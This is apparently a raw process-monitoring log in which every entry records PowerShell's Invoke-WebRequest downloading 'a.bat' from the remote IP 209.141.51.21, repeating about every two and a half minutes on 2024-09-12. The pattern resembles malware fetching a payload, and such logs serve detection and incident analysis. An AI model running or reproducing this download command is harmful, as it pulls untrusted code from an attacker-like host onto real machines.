C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:25:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:28:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:30:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:35:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:38:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:48:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:51:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:56:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:58:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:01:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:03:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:06:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:08:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:11:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:13:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:16:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:18:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:21:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:23:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:26:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:28:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:31:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:33:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:36:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:38:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:41:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:43:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:46:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:48:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:51:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:53:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:56:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 08:58:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:01:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:06:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:08:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:11:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:13:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:16:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:18:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:21:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:23:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:26:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:28:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:31:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:33:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:36:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:38:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:41:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:43:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:46:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:48:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:51:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:53:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:56:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 09:58:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:01:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:06:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:08:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:11:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:13:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:16:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:18:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:21:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:23:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:26:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:28:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:31:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:33:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:36:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:41:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:46:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:48:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:51:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:53:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:56:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 10:58:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:01:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:03:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:06:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:08:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:11:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:13:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:16:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:18:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:21:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:23:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:26:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:28:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:31:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:33:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:36:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:38:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:41:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:43:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:51:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:56:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 11:58:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:01:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:03:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:06:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:08:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:11:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:16:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:18:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:21:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:23:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:28:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:31:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:33:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:36:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:38:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:41:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:46:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:48:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:51:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:53:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:56:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 12:58:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 13:01:15 NOTIFY: PROCESS 